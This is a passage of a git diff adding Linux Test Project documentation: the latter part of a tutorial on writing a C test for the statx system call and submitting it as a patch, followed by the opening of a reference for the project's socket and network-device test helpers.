+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Maybe the test should report "TCONF: Not implemented" instead or perhaps ++TBROK+. Try changing it do so (see +doc/test-writing-guidelines.txt+ or +https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines[the +Wiki]). + +3.2 Check Git ignores the executable +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Is your +.gitignore+ correct? + +3.3 Run make check +~~~~~~~~~~~~~~~~~~ + +Check coding style with `make check` + (more in https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines#21-c-coding-style[C coding style]) + +3.4 Install the LTP and run the test with runtest +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Run +statx01+ on its own; similar to the +madvise+ tests in the +README.md+. + +4. Call the system call +----------------------- + +At the time of writing +statx+ has no +glibc+ wrapper. It is also fairly common +for a distribution's C library version to be older than its kernel or it may use a +cut down C library in comparison to the GNU one. So we must call +statx()+ +using the general +syscall()+ interface. + +The LTP contains a library for dealing with the +syscall+ interface, which is +located in +include/lapi+. System call numbers are listed against the relevant +call in the +*.in+ files (e.g. +x86_64.in+) which are used to generate ++syscalls.h+, which is the header you should include. On rare occasions you +may find the system call number is missing from the +*.in+ files and will need +to add it (see +include/lapi/syscalls/strip_syscall.awk+). + +System call numbers vary between architectures, hence there are multiple ++*.in+ files for each architecture. You can find the various values for the ++statx+ system call across a number of +unistd.h+ files in the Linux kernel. + +Note that we don't use the system-call-identifier value available in ++/usr/include/linux/uinstd.h+ because the kernel might be much newer than the +user land development packages. + +For +statx+ we had to add +statx 332+ to +include/lapi/syscalls/x86_64.in+, ++statx 383+ to +include/lapi/syscalls/powerpc.in+, etc. Now lets look at +the code, which I will explain in more detail further down. + +[source,c] +-------------------------------------------------------------------------------- +/* + * Test statx + * + * Check if statx exists and what error code it returns when we give it dodgy + * data. + */ + +#include +#include "tst_test.h" +#include "lapi/syscalls.h" + +struct statx_timestamp { + int64_t tv_sec; + uint32_t tv_nsec; + int32_t __reserved; +}; + +struct statx { + uint32_t stx_mask; + uint32_t stx_blksize; + uint64_t stx_attributes; + uint32_t stx_nlink; + uint32_t stx_uid; + uint32_t stx_gid; + uint16_t stx_mode; + uint16_t __spare0[1]; + uint64_t stx_ino; + uint64_t stx_size; + uint64_t stx_blocks; + uint64_t stx_attributes_mask; + struct statx_timestamp stx_atime; + struct statx_timestamp stx_btime; + struct statx_timestamp stx_ctime; + struct statx_timestamp stx_mtime; + uint32_t stx_rdev_major; + uint32_t stx_rdev_minor; + uint32_t stx_dev_major; + uint32_t stx_dev_minor; + uint64_t __spare2[14]; +}; + +static int sys_statx(int dirfd, const char *pathname, int flags, + unsigned int mask, struct statx *statxbuf) +{ + return tst_syscall(__NR_statx, dirfd, pathname, flags, mask, statxbuf); +} + +... +-------------------------------------------------------------------------------- + +So the top part of the code is now boiler plate for calling +statx+. It is +common for the kernel to be newer than the user land libraries and headers. So +for new system calls like +statx+, we copy, with a few modifications, the +relevant definitions into the LTP. This is somewhat like 'vendoring', although +we are usually just copying headers required for interacting with the Kernel's +ABI (Application Binary Interface), rather than internalising actual +functionality. + +So from the top we include the +stdint.h+ library which gives us the standard ++(u)int*_t+ type definitions. We use these in place of the Kernel type +definitions such as +__u64+ in +linux/types.h+. We then have a couple of +structure definitions which form part of the +statx+ API. These were copied +from +include/uapi/linux/stat.h+ in the Kernel tree. + +After that, there is a wrapper function, which saves us from writing ++tst_syscall(__NR_statx, ...+, every time we want to make a call to ++statx+. This also provides a stub for when +statx+ is eventually integrated +into the LTP library and also implemented by the C library. At that point we +can switch to using the C library implementation if available or fallback to +our own. + +The advantage of using the C library implementation is that it will often be +better supported across multiple architectures. It will also mean we are using +the system call in the same way most real programs would. Sometimes there are +advantages to bypassing the C library, but in general it should not be our +first choice. + +The final test should do a check during configuration (i.e. when we run ++./configure+ before building) which checks if the +statx+ system call and +associated structures exists. This requires writing an +m4+ file for use with ++configure.ac+ which is processed during +make autotools+ and produces the +configure script. + +For the time being though we shall just ignore this. All you need to know for +now is that this is a problem which eventually needs to be dealt with and that +there is a system in place to handle it. + +[source,c] +-------------------------------------------------------------------------------- +... + +static void run(void) +{ + struct statx statxbuf = { 0 }; + + TEST(sys_statx(0, NULL, 0, 0, &statxbuf)); + + if (TST_RET == 0) + tst_res(TFAIL, "statx thinks it can stat NULL"); + else if (TST_ERR == EFAULT) + tst_res(TPASS, "statx set errno to EFAULT as expected"); + else + tst_res(TFAIL | TERRNO, "statx set errno to some unexpected value"); +} + +static struct tst_test test = { + .test_all = run, + .min_kver = "4.11", +}; +-------------------------------------------------------------------------------- + +The +TEST+ macro sets +TST_RET+ to the return value of +tst_statx()+ and ++TST_ERR+ to the value of +errno+ immediately after the functions +return. This is mainly just for convenience, although it potentially could +have other uses. + +We check whether the return value indicates success and if it doesn't also +check the value of +errno+. The last call to +tst_res+ includes +TERRNO+, +which will print the current error number and associated description in +addition to the message we have provided. Note that it uses the current value +of +errno+ not +TST_ERR+. + +What we should have done in the example above is use +TTERRNO+ which takes the +value of +TST_ERR+. + +If we try to run the test on a kernel where +statx+ does not exist, then ++tst_syscall+ will cause it to fail gracefully with +TCONF+. Where +TCONF+ +indicates the test is not applicable to our configuration. + +The function +tst_syscall+ calls +tst_brk(TCONF,...)+ on failure. +tst_brk+ +causes the test to exit immediately, which prevents any further test code from +being run. + +4.1 What are the differences between tst_brk and tst_res? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +See +include/tst_test.h+ and the +https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines[test +writing guide]. Also what do they have in common? + +4.2 What happens if you call tst_res(TINFO, ...) after sys_statx? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Does the test still function correctly? + +4.3 Extend the test to handle other basic error conditions. +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +For example, see if you can trigger +ENOENT+ instead. You shouldn't +have to create any files, which is discussed in the next section. + +5. Setup, Cleanup and files +--------------------------- + +Some tests require resources to be allocated, or system settings to be +changed, before the test begins. This 'setup' only has to be done once at the +beginning and at the end of the test needs to be removed or reverted. The +'cleanup' also has to be done regardless of whether the test breaks. + +Fortunately, like most test libraries, we have setup and cleanup (teardown) +callbacks. +setup+ is called once before +run+ and +cleanup+ is called once +afterwards. Note that +run+ itself can be called multiple times by the test +harness, but that +setup+ and +cleanup+ are only called once. + +If either your code, a +SAFE_*+ macro or a library function such as ++tst_syscall+ call +tst_brk+, then +run+ will exit immediately and the ++cleanup+ function is then called. Once 'cleanup' is completed, the test +executable will then exit altogether abandoning any remaining iterations of ++run+. + +For +statx+ we would like to create some files or file like objects which we +have control over. Deciding where to create the files is easy, we just create +it in the current working directory and let the LTP test harness handle where +that should be by setting +.needs_tmpdir = 1+. + +[source,c] +-------------------------------------------------------------------------------- +/* + * Test statx + * + * Check if statx exists and what error code it returns when we give it dodgy + * data. Then stat a file and check it returns success. + */ + +#include +#include "tst_test.h" +#include "lapi/syscalls.h" +#include "lapi/fcntl.h" + +#define FNAME "file_to_stat" +#define STATX_BASIC_STATS 0x000007ffU + +/*************** statx structure and wrapper goes here ! ***************/ + +... +-------------------------------------------------------------------------------- + +We have added an extra include +lapi/fcntl.h+ which wraps the system header by +the same name (+#include +). This header ensures we have definitions +for recently added macros such as +AT_FDCWD+ by providing fall backs if the +system header does not have them. The +lapi+ directory contains a number of +headers like this. + +At some point we may wish to add +lapi/stat.h+ to provide a fall back for +macros such as +STATX_BASIC_STATS+. However for the time being we have just +defined it in the test. + +[source,c] +-------------------------------------------------------------------------------- +... + +static void setup(void) +{ + SAFE_TOUCH(FNAME, 0777, NULL); +} + +static void run(void) +{ + struct statx statxbuf = { 0 }; + + TEST(sys_statx(0, NULL, 0, 0, &statxbuf)); + if (TST_RET == 0) + tst_res(TFAIL, "statx thinks it can stat NULL"); + else if (TST_ERR == EFAULT) + tst_res(TPASS, "statx set errno to EFAULT as expected"); + else + tst_res(TFAIL | TERRNO, "statx set errno to some unexpected value"); + + TEST(sys_statx(AT_FDCWD, FNAME, 0, STATX_BASIC_STATS, &statxbuf)); + if (TST_RET == 0) + tst_res(TPASS, "It returned zero so it must have worked!"); + else + tst_res(TFAIL | TERRNO, "statx can not stat a basic file"); +} + +static struct tst_test test = { + .setup = setup, + .test_all = run, + .min_kver = "4.11", + .needs_tmpdir = 1 +}; +-------------------------------------------------------------------------------- + +The +setup+ callback uses one of the LTP's +SAFE+ functions to create an empty +file +file_to_stat+. Because we have set +.needs_tmpdir+, we can just create +this file in the present working directory. We don't need to create a ++cleanup+ callback yet because the LTP test harness will recursively delete +the temporary directory and its contents. + +The +run+ function can be called multiple times by the test harness, however ++setup+ and +cleanup+ callbacks will only be ran once. + +[WARNING] +By this point you may have begun to explore the LTP library headers or older +tests. In which case you will have come across functions from the old API such +as +tst_brkm+. The old API is being phased out, so you should not use these +functions. + +So far we haven't had to do any clean up. So our example doesn't answer the +question "what happens if part of the clean up fails?". To answer this we are +going to modify the test to ask the (highly contrived) question "What happens +if I create and open a file, then create a hard-link to it, then call open +again on the hard-link, then 'stat' the file". + +[source,c] +-------------------------------------------------------------------------------- +#define LNAME "file_to_stat_link" + +... + +static void setup(void) +{ + fd = SAFE_OPEN(FNAME, O_CREAT, 0777); + SAFE_LINK(FNAME, LNAME); + lfd = SAFE_OPEN(LNAME, 0); +} + +static void cleanup(void) +{ + if (lfd != 0) + SAFE_CLOSE(lfd); + + if (fd != 0) + SAFE_CLOSE(fd); +} + +static void run(void) +{ + ... + + TEST(sys_statx(AT_FDCWD, LNAME, 0, STATX_BASIC_STATS, &statxbuf)); + if (TST_RET == 0) + tst_res(TPASS, "It returned zero so it must have worked!"); + else + tst_res(TFAIL | TERRNO, "statx can not stat a basic file"); +} + +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .test_all = run, + .tcnt = 2, + .min_kver = "4.11", + .needs_tmpdir = 1 +}; +-------------------------------------------------------------------------------- + +Because we are now opening a file, we need a +cleanup+ function to close the +file descriptors. We have to manually close the files to ensure the temporary +directory is deleted by the test harness (see the +https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines[test +writing guidelines] for details). + +As a matter of good practice, the file descriptors are closed in reverse +order. In some circumstances the order in which clean up is performed is +significant. In that case resources created towards the end of 'setup' are +dependent on ones near the beginning. So during 'cleanup' we remove the +dependants before their dependencies. + +If, for some reason, the file descriptor +lfd+ became invalid during the test, +but +fd+ was still open, we do not want +SAFE_CLOSE(lfd)+ to cause the ++cleanup+ function to exit prematurely. If it did, then +fd+ would remain open +which would cause problems on some file systems. + +Nor do we want to call +cleanup+ recursively. So during 'cleanup' +tst_brk+, +and consequently the +SAFE+ functions, do not cause the test to exit with ++TBROK+. Instead they just print an error message with +TWARN+. + +It is not entirely necessary to check if the file descriptors have a none zero +value before attempting to close them. However it avoids a bunch of spurious +warning messages if we fail to open +file_to_stat+. Test case failures can be +difficult to interpret at the best of times, so avoid filling the log with +noise. + +5.1 Check statx returns the correct number of hard links +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +The field +statx.stx_nlink+ should be equal to 2, right? + +5.2 Git-branch +~~~~~~~~~~~~~~ + +We are about to make some organisational changes to the test, so now would be +a good time to branch. Then we can switch between the old and new versions, to +check the behavior has not been changed by accident. + +6. Split the test +----------------- + +In our current test, we have essentially rolled two different test cases into +one. Firstly we check if an error is returned when bad arguments are provided +and secondly we check what happens when we stat an actual file. Quite often it +makes sense to call +tst_res+ multiple times in a single test case because we +are checking different properties of the same result, but here we are clearly +testing two different scenarios. + +So we should split the test in two. One obvious way to do this is to create ++statx02.c+, but that seems like overkill in order to separate two simple test +cases. So, for now at least, we are going to do it a different way. + +[source,c] +-------------------------------------------------------------------------------- +... + +static void run_stat_null(void) +{ + struct statx statxbuf = { 0 }; + + TEST(sys_statx(0, NULL, 0, 0, &statxbuf)); + if (TST_RET == 0) + tst_res(TFAIL, "statx thinks it can stat NULL"); + else if (TST_ERR == EFAULT) + tst_res(TPASS, "statx set errno to EFAULT as expected"); + else + tst_res(TFAIL | TERRNO, "statx set errno to some unexpected value"); +} + +static void run_stat_symlink(void) +{ + struct statx statxbuf = { 0 }; + + TEST(sys_statx(AT_FDCWD, LNAME, 0, STATX_BASIC_STATS, &statxbuf)); + if (TST_RET == 0) + tst_res(TPASS, "It returned zero so it must have worked!"); + else + tst_res(TFAIL | TERRNO, "statx can not stat a basic file"); +} + +static void run(unsigned int i) +{ + switch(i) { + case 0: run_stat_null(); + case 1: run_stat_symlink(); + } +} + +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .test = run, + .tcnt = 2, + .min_kver = "4.11", + .needs_tmpdir = 1 +}; +-------------------------------------------------------------------------------- + +So we have used an alternative form of the +test+ or +run+ callback which +accepts an index. Some tests use this index with an array of parameters and +expected return values. Others do something similar to the above. The index +can be used how you want so long as each iteration calls +tst_res+ in a +meaningful way. + +If an iteration fails to return a result (i.e. call +tst_res+ with a value +other than +TINFO+) then the test harness will report +TBROK+ and print the +iteration which failed. This prevents a scenario in your test from silently +failing due to some faulty logic. + +6.1 What is wrong with the switch statement? +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Were you paying attention? Also see the output of +make check+. + +6.2 Test a feature unique to statx +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +So far we have not tested anything which is unique to +statx+. So, for +example, you could check stx_btime is correct (possibly only to within a +margin of error) and that it differs from +stx_mtime+ after writing to the +file. + +Alternatively you could check that +stx_dev_major+ and +stx_dev_minor+ are set +correctly. Note that the LTP has helper functions for creating devices and +file systems (see +https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines#2214-testing-with-a-block-device[section +2.2.14] of the Test Writing Guidelines). + +This could be quite a challenging exercise. You may wish to tackle an +altogether different test scenario instead. If you get stuck just move onto +the next section and come back later. + +7. Submitting the test for review +--------------------------------- + +Ignoring the fact we should probably create +lapi/stat.h+ along with a bunch +of fallback logic in the build system. We can now get our test ready for +submission. + +The first thing you need to do before considering submitting your test is run ++make check-statx01+ or + make check+ in the test's directory. Again, we use +the kernel style guidelines where possible. Next you should create a new +branch, this will allow you to reshape your commit history without fear. + +After that we have the pleasure of doing an interactive 'rebase' to clean up +our commit history. In its current form the test only really needs a single +commit, but if you have been using Git correctly then you should have +many. The main reason we want to compress it to a single commit, is to make +the LTP's Git-log readable. It also allows us to write a coherent description +of the work as a whole in retrospective. Although, when adding a new test, the +test description in the code will probably make the commit message redundant. + +Anyway, as an example, we shall look at my personal commit history from this +tutorial and 'rebase' it. You should try following along with your own +repository. First lets look at the commit history since we branched from +master. + +[source,shell] +-------------------------------------------------------------------------------- +$ git log --oneline master..HEAD +152d39fe7 (HEAD -> tutorial-rebase2, tutorial-rebase) tutorial: Start Submitting patch section +70f7ce7ce statx01: Stop checkpatch from complaining +bb0332bd7 tutorial: Fix review problems +6a87a084a statx01: Fix review problems +d784b1e85 test-writing-guidelines: Remove old API argument +c26e1be7a fixup! tutorial +1e24a5fb5 (me/tutorial-rebase) fixup! tutorial +568a3f7be fixup! tutorial +09dd2c829 statx: stage 6 +bfeef7902 statx: stage 5b +76e03d714 statx: stage 5a +98f5bc7ac statx: stage 4 +6f8c16438 statx: stage 3 (Add statx01) +5d93b84d8 Add statx and other syscall numbers +5ca627b78 tutorial: Add a step-by-step C test tutorial +-------------------------------------------------------------------------------- + +So we have told git to show all the commits which don't exist in 'master', but +are in +HEAD+, where +HEAD+ is the top of the current branch. The current +branch is +tutorial-rebase2+ which I just created. I have already done one +'rebase' and submitted a patch for review, so my original branch was just called ++tutorial+. + +As usual my commit history is starting to look like a bit of mess! There is +even a commit in there which should not be in the this branch (Remove old API +argument), however it can be ignored for now and 'cherry picked' into a new branch +later. + +For my patch I actually need at least two commits, one which contains the +tutorial text and one which contains the test and associated files. So first +of all I want to 'squash' (amalgamate) all the commits appended with ++tutorial:+ into the bottom commit. + +[source,shell] +-------------------------------------------------------------------------------- +$ git rebase -i 5ca627b78\^ +... +-------------------------------------------------------------------------------- + +This begins an interactive 'rebase' where commit 5ca6427b78 is the earliest +commit we want to edit. The +^+ symbol after the commit hash, specifies the +commit before this one. The interactive 'rebase' command takes the last commit +we want to keep unaltered as it's argument (in other words it takes a +non-inclusive range). + +Upon entering a similar command you will be presented with a text file +similar to the following. The file should be displayed in your text editor of +choice, if it doesn't, then you may change the editor variable in +.gitconfig+ +which was shown in section 3. + +[source,rebase] +-------------------------------------------------------------------------------- +pick 5ca627b78 tutorial: Add a step-by-step C test tutorial +pick 5d93b84d8 Add statx and other syscall numbers +pick 6f8c16438 statx: stage 3 (Add statx01) +pick 98f5bc7ac statx: stage 4 +pick 76e03d714 statx: stage 5a +pick bfeef7902 statx: stage 5b +pick 09dd2c829 statx: stage 6 +pick 568a3f7be fixup! tutorial +pick 1e24a5fb5 fixup! tutorial +pick c26e1be7a fixup! tutorial +pick d784b1e85 test-writing-guidelines: Remove old API argument +pick 6a87a084a statx01: Fix review problems +pick bb0332bd7 tutorial: Fix review problems +pick 70f7ce7ce statx01: Stop checkpatch from complaining +pick 152d39fe7 tutorial: Start Submitting patch section +-------------------------------------------------------------------------------- + +The last commit from Git-log is shown at the top. The left hand column +contains the commands we want to run on each commit. +pick+ just means we +re-apply the commit as-is. We can reorder the lines to apply the commits in a +different order, but we need to be careful when reordering commits to the same +file. If your 'rebase' results in a merge conflict, then you have probably +reordered some commits which contained changes to the same piece of code. + +Perhaps a better name for the interactive 'rebase' command would be 'replay'. As +we pick a point in the commit history, undo all those commits before that +point, then reapply them one at a time. During the replay we can reorder the +commits, drop, merge, split and edit them, creating a new history. + +The commands I am going to use are +reword+ and +fixup+. The +reword+ command +allows you to edit a single commit's message. The 'fixup' command 'squashes' a +commit into the commit above/preceding it, merging the two commits into +one. The commit which has +fixup+ applied has its commit message deleted. If +you think a commit might have something useful in its message then you can use ++squash+ instead. + +[source,rebase] +-------------------------------------------------------------------------------- +reword 5ca627b78 tutorial: Add a step-by-step C test tutorial +fixup 568a3f7be fixup! tutorial +fixup 1e24a5fb5 fixup! tutorial +fixup c26e1be7a fixup! tutorial +fixup bb0332bd7 tutorial: Fix review problems +fixup 152d39fe7 tutorial: Start Submitting patch section +fixup 276edecab tutorial: Save changes before rebase +pick 5d93b84d8 Add statx and other syscall numbers +pick 6f8c16438 statx: stage 3 (Add statx01) +pick 98f5bc7ac statx: stage 4 +pick 76e03d714 statx: stage 5a +pick bfeef7902 statx: stage 5b +pick 09dd2c829 statx: stage 6 +pick d784b1e85 test-writing-guidelines: Remove old API argument +pick 6a87a084a statx01: Fix review problems +-------------------------------------------------------------------------------- + +So all the commits marked with +fixup+ will be re-played by Git immediately +after 5ca62 at the top. A new commit will then be created with the amalgamated +changes of all the commits and 5ca62's log message. It turns out that I didn't +need to reword anything, but there is no harm in checking. It is easy to +forget the +Signed-off-by:+ line. + +I could now do the same for the commits to the +statx+ test, making the commit +message prefixes consistent. However I am not actually going to submit the +test (yet). + +I won't attempt to show you this, but if you need to do the opposite and split +apart a commit. It is also possible using Git-rebase by marking a line with ++edit+. This will pause Git just after replaying the marked commit. You can +then use a 'soft' Git-reset to bring the selected commit's changes back into +the 'index' where you are then able to un-stage some parts before +re-committing. + +You can also use +edit+ and +git commit --amend+ together to change a commit +deep in your history, but without resetting the 'index'. The 'index' contains +changes which you have staged with +git add+, but not yet committed. + +So now that the commit history has been cleaned up, we need to submit a patch +to the mailing list or make a pull request on GitHub. The mailing list is the +preferred place to make submissions and is more difficult for most people, so +I will only cover that method. + +Just before we create the patch, we need to check that our changes will still +apply to the master branch without problems. To do this we can use another +type of 'rebase' and then try rebuilding and running the test. + +[source,shell] +-------------------------------------------------------------------------------- +$ git checkout master +$ git pull origin +$ git checkout tutorial-rebase2 +$ git rebase master +-------------------------------------------------------------------------------- + +Above, I update the master branch and then replay our changes onto it using ++git rebase master+. You may find that after the rebase there is a merge +conflict. This will result in something which looks like the following (taken +from a Makefile conflict which was caused by reordering commits in a 'rebase'). + +[source,diff] +-------------------------------------------------------------------------------- +<<<<<<< HEAD +cve-2016-7117: LDFLAGS += -lpthread +======= +cve-2014-0196: LDFLAGS += -lpthread -lutil -lrt +cve-2016-7117: LDFLAGS += -lpthread -lrt +>>>>>>> 4dbfb8e79... Add -lrt +-------------------------------------------------------------------------------- + +The first line tells us this is the beginning of a conflict. The third line +separates the two conflicting pieces of content and the last line is the end +of the conflict. Usually, all you need to do is remove the lines you don't +want, stage the changes and continue the 'rebase' with +git rebase +--continue+. + +In order to create a patch e-mail we use https://git-scm.com/docs/git-format-patch[+git format-patch+], +we can then send that e-mail using https://git-scm.com/docs/git-send-email[+git send-email+]. +It is also possible to import the patch (+mbox+) file into a number of e-mail programs. + +[source,shell] +-------------------------------------------------------------------------------- +$ git format-patch -1 -v 2 -o output --to ltp@lists.linux.it fd3cc8596 +output/v2-0001-tutorial-Add-a-step-by-step-C-test-tutorial.patch +-------------------------------------------------------------------------------- + +The first argument +-1+ specifies we want one commit from fd3cc8596 +onwards. If we wanted this commit and the one after it we could specify +-2+ +instead. + +This is my second patch submission so I have used +-v 2+, which indicates this +is the second version of a patch set. The +-o+ option specifies the output +directory (literally called +output+). The +--to+ option adds the +To:+ e-mail +header, which I have set to the LTP mailing list. + +We can then send this patch with the following command sans +--dry-run+. + +[source,shell] +-------------------------------------------------------------------------------- +$ git send-email --dry-run output/v2-0001-tutorial-Add-a-step-by-step-C-test-tutorial.patch +-------------------------------------------------------------------------------- + +Git will ask some questions (which you can ignore) and then tell you what it +would do if this weren't a dry-run. In order for this to work you have to have +a valid SMTP server set in +.gitconfig+ and also be signed up to the LTP +mailing list under the same e-mail address you have configured in Git. You can +sign up at https://lists.linux.it/listinfo/ltp. + +8. Doing code review +-------------------- + +While waiting for your test to be reviewed, you are invited and encouraged to +review other contributors' code. This may seem bizarre when you are completely +new to the project, but there are two important ways in which you can +contribute here: + +A. Point out logical errors in the code. +B. Improve your own understanding + +It doesn't matter whether you know the canonical way of writing an LTP test in +C. An error of logic, when properly explained, is usually indisputable. These +are the most important errors to find as they always result in false test +results. Once someone points out such an error it is usually obvious to +everyone that it is a bug and needs to be fixed. + +Obviously testing the patch is one way of finding errors. You can apply +patches using +git am+. Then it is just a case of compiling and running the +tests. + +Finally, reading and attempting to comment on other peoples patches, gives +you a better understanding of the reviewers perspective. This is better for +the project and for you. + +Style and organisational issues are best left to after you have found logical +errors. + +9. Final notes +-------------- + +Hopefully you can now grasp the structure of an LTP test and have some idea of +what is available in the LTP test library. There are a vast number of library +functions available (mainly located in include and lib), some of which are +documented in the test writing guidelines and many of which are not. + +We have only scratched the surface of the immense technical complexity of +systems programming across multiple Kernel and C lib versions as well as +different hardware architectures. The important thing to take away from this +is that you have to be conscientious of what will happen on systems different +from yours. The LTP has a huge and varied user base, so situations you may +think are unlikely can and do happen to somebody. + +Of course you don't want to spend time allowing for situations which may never +arise either, so you have to do your research and think about each situation +critically. The more systems you can test on before submitting your changes, +the better, although we understand not everyone has access to a lab. + +One important topic which has not been covered by this tutorial, is +multi-process or multi-threaded testing. The LTP library functions work inside +child processes and threads, but their semantics change slightly. There are +also various helper functions for synchronising and forking processes. For +more information see +https://github.com/linux-test-project/ltp/wiki/C-Test-API[C Test API], +in particular sections +https://github.com/linux-test-project/ltp/wiki/C-Test-API#17-fork-ing[1.7 Fork()-ing] to +https://github.com/linux-test-project/ltp/wiki/C-Test-API#110-signals-and-signal-handlers[1.10 Signals and signal handlers] and +https://github.com/linux-test-project/ltp/wiki/C-Test-API#114-thread-safety-in-the-ltp-library[1.14 Thread-safety in the LTP library]. + +When it comes time to submit a test, the preferred way to do it is on the +mailing list although you can also use GitHub. The LTP follows similar rules +to the kernel for formatting and submitting patches. Generally speaking the +review cycle is easier for small patches, so try to make small changes or +additions where possible. diff --git a/doc/C-Test-Network-API.asciidoc b/doc/C-Test-Network-API.asciidoc new file mode 100644 index 00000000..3bf2a1f8 --- /dev/null +++ b/doc/C-Test-Network-API.asciidoc @@ -0,0 +1,479 @@ +LTP C Test Network API +====================== + +NOTE: See also + https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines[Test Writing Guidelines], + https://github.com/linux-test-project/ltp/wiki/C-Test-Case-Tutorial[C Test Case Tutorial], + https://github.com/linux-test-project/ltp/wiki/C-Test-API[C Test API], + https://github.com/linux-test-project/ltp/wiki/Shell-Test-API[Shell Test API]. + +LTP library includes helper functions for configuring sockets and setting up +network devices. + +1 Configuring sockets +--------------------- + +1.1 Safe syscall variants +~~~~~~~~~~~~~~~~~~~~~~~~~ + ++#include "tst_safe_net.h"+ + +Most common standard syscalls and libc functions for configuring sockets have a +"safe" variant in LTP library which will call +tst_brk()+ if the underlying +system function fails. See +https://github.com/linux-test-project/ltp/wiki/C-Test-API[C Test API]. The +safe function names are in uppercase with the +SAFE_+ prefix (e.g. the safe +variant of +socket()+ is called +SAFE_SOCKET()+). For most safe functions, the +parameters and return type are identical to the standard system function: + +- +SAFE_SOCKET()+ +- +SAFE_SOCKETPAIR()+ +- +SAFE_GETSOCKOPT()+ +- +SAFE_SETSOCKOPT()+ +- +SAFE_BIND()+ +- +SAFE_LISTEN()+ +- +SAFE_ACCEPT()+ +- +SAFE_CONNECT()+ +- +SAFE_GETSOCKNAME()+ +- +SAFE_GETHOSTNAME()+ +- +SAFE_GETADDRINFO()+ + +A few safe functions have extra parameters for quick return value validation. +The ellipsis (+...+) represents the standard parameters of the underlying system +function: + +* +SAFE_SEND(char strict, ...)+ +* +SAFE_SENDTO(char strict, ...)+ +** If +strict+ is non-zero, the return value must be equal to the data length + argument. Otherwise the test will fail and exit. + +* +SAFE_SENDMSG(size_t msg_len, ...)+ +* +SAFE_RECV(size_t msg_len, ...)+ +* +SAFE_RECVMSG(size_t msg_len, ...)+ +** If +msg_len+ is non-zero, the return value must be equal to the +msg_len+ + argument. Otherwise the test will fail and exit. + +There are also some custom functions for simpler configuration and queries: + +- +int SAFE_SETSOCKOPT_INT(int sockfd, int level, int optname, int value)+ – + Simple setsockopt() variant for passing integers by value. + +- +int TST_GETSOCKPORT(int sockfd)+ – Get port number (in host byte order) of a + bound socket. + +- +unsigned short TST_GET_UNUSED_PORT(int family, int type)+ – Get a random + port number (in network byte order) which is currently closed for the given + socket family and type. Note that another application may open the port while + the test is still running. The test user is responsible for setting up test + environment without such interference. + +1.2 Address conversion functions +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + ++#include "tst_net.h"+ + +LTP library also provides helper functions for quick initialization of socket +address structures: + +- +void tst_get_in_addr(const char *ip_str, struct in_addr *ip)+ – Convert + human-readable IPv4 address string +ip_str+ to binary representation in + network byte order. The converted value will be stored in the second argument. + +- +void tst_get_in6_addr(const char *ip_str, struct in6_addr *ip6)+ – Convert + human-readable IPv6 address string +ip_str+ to binary representation in + network byte order. The converted value will be stored in the second argument. + +- +socklen_t tst_get_connect_address(int sock, struct sockaddr_storage *addr)+ – + Find the address which can be used to send data to bound socket +sock+ from + another socket. The address will be stored in the second argument. This + function automatically converts wildcard bind address to localhost. Returns + size of the address in bytes. + +- +void tst_init_sockaddr_inet(struct sockaddr_in *sa, const char *ip_str, + uint16_t port)+ – Initialize socket address structure +sa+ using + human-readable IPv4 address +ip_str+ and port number +port+ in host byte + order. + +- +void tst_init_sockaddr_inet_bin(struct sockaddr_in *sa, uint32_t ip_val, + uint16_t port)+ – Initialize socket address structure +sa+ using binary IPv4 + address +ip_val+ and port number +port+, both in host byte order. + +- +void tst_init_sockaddr_inet6(struct sockaddr_in6 *sa, const char *ip_str, + uint16_t port)+ – Initialize socket address structure +sa+ using + human-readable IPv6 address +ip_str+ and port number +port+ in host byte + order. + +- +void tst_init_sockaddr_inet6_bin(struct sockaddr_in6 *sa, const struct + in6_addr *ip_val, uint16_t port)+ – Initialize socket address structure +sa+ + using binary IPv6 address +ip_val+ and port number +port+, both in host byte + order. + +Example Usage ++++++++++++++ +[source,c] +------------------------------------------------------------------------------- + +#include +#include + +#include "tst_test.h" +#include "tst_safe_net.h" +#include "tst_net.h" + +static int sockfd = -1; + +static void setup(void) +{ + struct sockaddr_in addr; + + tst_init_sockaddr_inet_bin(&addr, INADDR_ANY, 0); + sockfd = SAFE_SOCKET(AF_INET, SOCK_STREAM, 0); + SAFE_SETSOCKOPT_INT(sockfd, SOL_SOCKET, SO_SNDBUF, 4096); + SAFE_BIND(sockfd, (struct sockaddr *)&addr, sizeof(addr)); + SAFE_LISTEN(sockfd, 8); +} + +------------------------------------------------------------------------------- + +2 Configuring network devices +----------------------------- + ++#include "tst_netdevice.h"+ + +When opening a localhost socket isn't enough and the test needs special device +or routing configuration, the netdevice library can create the required network +setup without calling external programs. Internally, the netdevice functions +use a rtnetlink socket to communicate with the kernel. + +All of these functions will call +tst_brk()+ on failure, unless stated +otherwise. Error values described below are returned only during test cleanup +stage. + +2.1 Network device management +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +- +int NETDEV_INDEX_BY_NAME(const char *ifname)+ – Returns the device index for + the given device name, or -1 on error. + +- +int NETDEV_SET_STATE(const char *ifname, int up)+ – Enable or disable a + network device +ifname+. Returns 0 on success, -1 on error. + +- +int CREATE_VETH_PAIR(const char *ifname1, const char *ifname2)+ – Creates a + connected pair of virtual network devices with given device names. Returns 1 + on success, 0 on error. Add 